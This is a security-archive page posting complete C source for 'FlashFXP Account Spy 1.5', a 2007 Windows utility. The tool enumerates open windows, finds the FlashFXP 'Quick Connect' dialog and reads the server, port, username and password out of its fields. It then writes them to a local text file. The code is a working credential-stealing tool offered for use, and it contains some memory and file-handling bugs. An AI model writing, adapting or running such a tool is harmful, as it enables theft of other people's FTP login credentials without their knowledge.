what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

FlashFXP.Account.Spy.1.5.c

FlashFXP.Account.Spy.1.5.c
Posted Apr 17, 2007
Authored by Lympex | Site l-bytes.tk

FlashFXP Account Spy 1.5 - Utility to capture login credentials of FlashFXP.

tags | tool, sniffer
SHA-256 | 0b06a8ba5caf53a8edbfb021db532e04486671fe7835b9c6c4e5f9737aeb2121

FlashFXP.Account.Spy.1.5.c

Change Mirror Download
/*
Nombre: FlashFXP Account Spy 1.5
Archivo: FlashFXP.Account.Spy.1.5.c
Probado en: FlashFXP 3.0.2 (build 1045)
Fecha: 12/04/2007
Coder: Lympex
Contact:
+ WebSite: https://l-bytes.tk
+ Mail: lympex[at]elhacker[dot]net

[demo]
C:\FlashFXP.Account.Spy.1.2>FlashFXP.Account.Spy.1.2.exe

[+] FlashFXP Account Spy 1.2
[+] Tested on: FlashFXP 3.0.2 (build 1045)
[+] Coded by Lympex:
+ Lympex[at]Gmail[dot]Com
+ Http://L-Bytes.Tk
------------------------------------------

[+] Searching: Quick Connect ...OK
[+] Searching: General ...OK
[+] Writting data ...OK
+ Data written in: Datos.txt

C:\FlashFXP.Account.Spy.1.2>
[/demo]
*/

#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <windows.h>
#include <Tlhelp32.h>

/*Para obtener el titulo de las ventanas*/
#define TAM 512
char Titulo[TAM];

/*Para saber si hemos encontrado la ventana principal y la subventana*/
bool VEncontrada=false;
bool PEncontrada=false;

/*Para saber si podemos leer los datos*/
bool Datos=false;
unsigned int c=0;

/*Para guardar los datos en el fichero*/
FILE *Login;
char Buff[512];

/*Fichero para volcar los datos*/
#define PATH "Credenciales.txt"

/*Nombre del ejecutable del cliente FlashFXP*/
#define EXE_FTP "flashfxp.exe"

/*Estructura del almacenamiento de las credenciales*/
struct Info
{
char *Server;
char *Port;
char *User;
char *Password;
}Credentials;

/*Nos dice si una ventana pertenece a un proceso*/
bool VentanaProceso(HWND hwnd, char *Nombre)
{
DWORD Pid;
HANDLE proc;
MODULEENTRY32 datos;
bool Pertenece=false;

//obtenemos el PID del proceso responsable de la ventana
GetWindowThreadProcessId(hwnd,&Pid);

//cargamos el proceso
proc=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,Pid);//con posibilidad para acceder a todo
if(proc!=INVALID_HANDLE_VALUE)
{
if(Module32First(proc,&datos)==true)
{
if(strcmp(Nombre,datos.szModule)==0)
{
Pertenece=true;
}
}
}

CloseHandle(proc);
return Pertenece==true?true:false;
}

/*Función para recorrer las subventanas de una ventana*/
BOOL CALLBACK EnumChildProc(HWND hwnd, DWORD lParam )
{
char Clase[TAM];
char NControl[TAM];
int Tam_Texto=0;

GetClassName(hwnd,Clase,TAM);
Tam_Texto=SendMessage(hwnd,WM_GETTEXTLENGTH,0,0)+1;


if(Tam_Texto>TAM)
Tam_Texto=TAM;

SendMessage(hwnd,WM_GETTEXT,TAM,(LPARAM)NControl);
//printf("\n#Clase: %s\nContenido: %s#\n",Clase,NControl);

//Si estamos en la subventana
if(!strcmp(Clase,"TTabSheet") && !strcmp(NControl,"General"))
{
Datos=true;
printf("OK\n[+] Obteniendo credenciales................");
}

if(Datos==true)//si estamos sobre alguno de los campos de las credenciales
{
PEncontrada=true;

//miramos en qué campo estamos
switch(c)
{
case 0:
c++;
break;

case 1:
Credentials.Server=(char*)malloc(strlen(NControl)*sizeof(char*));
memset(Credentials.Server,0,sizeof(char*));
strcpy(Credentials.Server,NControl);
c++;
break;

case 2:
Credentials.Password=(char*)malloc(strlen(NControl)*sizeof(char*));
memset(Credentials.Password,0,sizeof(char*));
strcpy(Credentials.Password,NControl);
c++;
break;

case 3:
c++;
break;

case 4:
Credentials.Port=(char*)malloc(strlen(NControl)*sizeof(char*));
memset(Credentials.Port,0,sizeof(char*));
strcpy(Credentials.Port,NControl);
c++;
break;

case 5:
c++;
break;

case 6:
Credentials.User=(char*)malloc(strlen(NControl)*sizeof(char*));
memset(Credentials.User,0,sizeof(char*));
strcpy(Credentials.User,NControl);
printf("OK");
c++;
break;

//default:
// return false;
}
}
return true;
}

//Vamos recorriendo todas las ventanas activas
bool CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)
{
//si es la ventana de credenciales
memset(Titulo,0,sizeof(char));
if(GetWindowText(hwnd,Titulo,TAM)>0 && strstr(Titulo,"Quick Connect") && VentanaProceso(hwnd,EXE_FTP)==true)
{
VEncontrada=true;
printf("OK\n[+] Buscando \"General\".....................");
//recorremos los objetos
EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,0);
}

return true;
}

void Banner()
{
printf("\n[+] FlashFXP Account Spy 1.5");
printf("\n[+] Probado en: FlashFXP 3.0.2 (build 1045)");
printf("\n[+] Coded by Lympex:");
printf("\n + Lympex[at]elhacker[dot]Net");
printf("\n + Http://L-Bytes.Tk");
printf("\n-------------------------------------------\n");
return;
}

int main(int argc, char *argv[])
{
Banner();

/* if((Login=fopen(PATH,"at"))==NULL)
{
printf("\n - Error. No se puede acceder al fichero: %s\n",PATH);
}else{*/
printf("\n[+] Buscando ventana \"Quick Connect\".......");
EnumWindows((WNDENUMPROC)EnumWindowsProc,0);

/*Mira si hemos encontrado la ventana*/
if(VEncontrada==false)
{
printf("ERROR\n - Ventana no encontrada\n");
fclose(Login);
}else if(PEncontrada==false){
printf("ERROR\n - Ventana no encontrada\n");
fclose(Login);

}else{
if((Login=fopen(PATH,"at"))==NULL)
{
printf("\n - Error. No se puede acceder al fichero: %s\n",PATH);
}else{
printf("\n[+] Guardando datos en \"%s\"..",PATH);
fprintf(Login,"\n####################################");
fprintf(Login,"\nServidor: %s",Credentials.Server);
fprintf(Login,"\nPuerto: %s",Credentials.Port);
fprintf(Login,"\nUsuario: %s",Credentials.User);
fprintf(Login,"\nPassword: %s",Credentials.Password);
fprintf(Login,"\n####################################\n");
printf("OK");
fclose(Login);
printf("\n[+] Datos guardados!\n");
}
}

puts("");
system("pause");
return 0;
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close